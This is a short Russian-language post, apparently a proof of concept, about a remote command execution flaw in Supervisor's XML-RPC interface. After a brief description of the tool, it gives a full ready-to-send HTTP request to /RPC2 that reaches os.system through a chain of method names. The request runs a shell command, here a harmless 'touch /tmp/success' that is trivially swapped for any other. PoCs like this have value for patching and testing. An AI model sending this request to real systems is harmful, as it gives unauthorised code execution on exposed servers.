
Скрипт уязвимости удаленного выполнения команд Supervisord
Supervisor — это инструмент управления процессами, написанный на Python, который позволяет легко запускать, перезапускать (автоматически перезапускать программы) и останавливать процессы (не только Python) в UNIX-подобных системах (Windows не поддерживается).
Supervisor построен по модели клиент-сервер: supervisord — это серверная часть, supervisorctl — клиентская. Проще говоря, клиент отправляет команды supervisor, которые вызывают API серверной части для выполнения определённых задач.
Веб-интерфейс Supervisor часто используется многими — это фактически клиент supervisord. Если маршрутизация настроена, можно удалённо выполнять через веб-страницу операции, аналогичные тем, что делает клиент supervisor. Операции через веб-интерфейс реализуются через XML-RPC-интерфейс, и данная уязвимость также связана с обработкой данных этим интерфейсом.
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
Данный POC не возвращает результат.
